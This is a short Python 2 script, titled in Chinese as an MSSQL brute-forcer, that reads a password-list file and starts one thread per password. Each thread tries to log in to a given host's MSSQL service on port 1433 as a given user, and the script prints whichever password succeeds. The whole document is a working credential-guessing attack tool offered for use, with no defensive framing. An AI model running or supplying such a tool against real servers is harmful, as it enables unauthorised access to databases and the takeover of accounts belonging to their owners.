[python]mssql爆破

import pymssql
from optparse import OptionParser
from threading import *


Found =0

def mssqlconn(hostname,username,password):
    global Found
    try:
        pymssql.connect(hostname+':1433',user=username,password=password)
        print'[+] yes pass = '+ password
    except:
        print '[-]Testing: ' + password
        pass
        
def main():
    parser = OptionParser('-U-H-P')
    parser.add_option("-U", "--user", dest="username",help="-U set user ")
    parser.add_option("-H", "--host", dest="hostname",help="-H host name")
    parser.add_option("-P", "--pass", dest="passtxt",help="-P password")
    (options, args) = parser.parse_args()
    print 'asd'
    if options.username is None or options.passtxt is None or options.hostname is None:
        print parser.usage
        exit(0)
    username = options.username
    passtxt = options.passtxt
    hostname = options.hostname
    print username,passtxt,hostname
    passt = open(passtxt,'r')
    for passs in passt.readlines():
        a = Thread(target=mssqlconn,args=(hostname,username,passs.strip('\n')))
        a.start()
if __name__ == '__main__':
    main()